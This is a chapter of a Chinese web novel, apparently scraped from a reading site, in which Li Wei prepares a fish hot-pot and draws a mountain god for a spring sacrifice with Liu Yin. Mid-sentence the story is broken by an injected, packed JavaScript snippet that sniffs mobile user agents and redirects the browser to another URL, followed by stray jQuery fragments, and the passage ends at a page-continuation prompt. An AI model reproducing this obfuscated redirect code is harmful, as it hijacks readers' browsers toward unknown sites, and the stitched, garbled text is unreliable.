39. 春社
  虽不知这名为汤锅的实际配方如何,根据娘子的描述,此法形似汤羹,但需边吃边加热,以达到食材的鲜美异常的目的。

    李为虽没吃过,但对于作羹汤,他倒是有点心得。

    以往南下江淮,便亲眼见识过一种汤羹的做法。

    只需用鱼,加上少许酱料,在水中熬住直至鱼肉化为乳白色汤底,鱼融入水,化为陈汤,鲜美异常,食之回味无穷。

    比起单纯用野菜熬汤,做出来的汤羹,自然会更上一个档次。

    刘茵只知汤锅味美,却很少有去了解过如何做,但这种吃法倒是让李为格外重视。

    想着便对此加以改造,做成鱼

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16986914|190402||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    汤羹……汤锅版本。

    也不知这汤锅,究竟是何地流传的说法,他怎么没听过。

    李为边做边思考,同时拿着手上的鱼,将其放在火上,用火烤制。

    略微熏焦,便下了调料,加水熬制。

    春分前后,若开地种田,按礼,则需祭祀社神,以祝来年丰收。

    今日的美食,他便有此种考量。

    娘子既然决定垦荒种地,自然得敬畏山神,为祭祀之用。

    熬煮需至少一个时辰,李为便将睡着的刘茵给喊醒。

    “食材已备齐,娘子先帮我看着,若水少,则需加水。”

    刘茵伸了个懒腰,盯着灶台的火光,“知道啦。”

    望着李为的离去,刘茵的眸中刻有深深的疑惑。

    她哪知道,看着空无一物的家里,再看看娘子这困惑又有些不耐烦的眼神,明显是把这事给忘了。

    唉,真不知该如何是好。

    ……

    吃饭之前,刘茵发现,大堂最中间多了一张画,约莫两指宽,纸张不大,放在最中央,还有些滑稽。

    李为先把煮得雪白,散发着鱼肉香味的锅端了出来,摆放在平时吃饭的木桌最中央。

    旁边则是片好的各种肉食,堆叠得十分养眼。

    而那张用炭笔临时画好的画,纸张背面用了李为以往练字用的皮纸背面,尚且雪白的部分。

    只是皮纸不大,整幅画也显得有些窄小。

    画中站着一位仿佛从古画中走出的老神仙,胡须皆白,仅几笔便勾勒出其神通广大,怒目圆睁,不失威严的神韵。

    刘茵算不上古人,但对于画,依旧有着刻在基因里的欣赏能力。

    刚想提一嘴,询问其来历,便被一旁的少年搭着肩,轻轻将头按下。

    面对刘茵满脸的疑惑,只是粗浅解释:“此为乌仙山山中之神,会庇佑我们今年风调雨顺,田地丰收。”

    刘茵这才恍然,原来这地还有这种风俗,那既然来了这乌仙山,确实应该拜一拜。

    如果山神保佑,能让她今年的试验田大获成功,一年两收,自此不再缺少米粮。

    刘茵不迷信神,因为她知道,稻米的产量由地,和物种以及气候本身决定。

    后世之人可以为此人为创造一个完美的生长环境,并选育出更高产的品种,去解决粮食问题。

    但对于古人而言,他们没有这个条件,也不会想到,可以人为修

本章未完,请点击下一页继续阅读>>